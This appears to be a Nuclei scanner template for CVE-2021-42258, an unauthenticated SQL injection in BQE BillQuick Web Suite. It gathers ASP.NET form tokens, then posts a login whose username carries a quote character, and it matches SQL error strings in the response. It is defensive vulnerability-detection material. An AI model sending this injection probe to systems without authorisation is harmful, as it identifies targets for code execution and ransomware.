id: CVE-2021-42258

info:
  name: BillQuick Web Suite SQL Injection
  author: dwisiswant0
  severity: critical
  description: BQE BillQuick Web Suite 2018 through 2021 before 22.0.9.1 allows SQL injection for unauthenticated remote code execution. Successful exploitation can include the ability to execute arbitrary code as MSSQLSERVER$ via xp_cmdshell.
  reference:
    - https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42258
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42258
    cwe-id: CWE-89
    epss-score: 0.97451
    cpe: cpe:2.3:a:bqe:billquick_web_suite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: bqe
    product: billquick_web_suite
  tags: cve,cve2021,sqli,billquick,kev

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

        __EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("{{VS}}")}}&__VIEWSTATEGENERATOR={{url_encode("{{VSG}}")}}&__EVENTVALIDATION={{url_encode("{{EV}}")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96

    cookie-reuse: true
    matchers:
      - type: word
        part: body
        words:
          - "System.Data.SqlClient.SqlException"
          - "Incorrect syntax near"
          - "_ACCOUNTLOCKED"
        condition: and

    extractors:
      - type: xpath
        name: VS
        internal: true
        xpath:
          - "/html/body/form/div/input[@id='__VIEWSTATE']"
        attribute: value

      - type: xpath
        name: VSG
        internal: true
        xpath:
          - "/html/body/form/div/input[@id='__VIEWSTATEGENERATOR']"
        attribute: value

      - type: xpath
        name: EV
        internal: true
        xpath:
          - "/html/body/form/div/input[@id='__EVENTVALIDATION']"
        attribute: value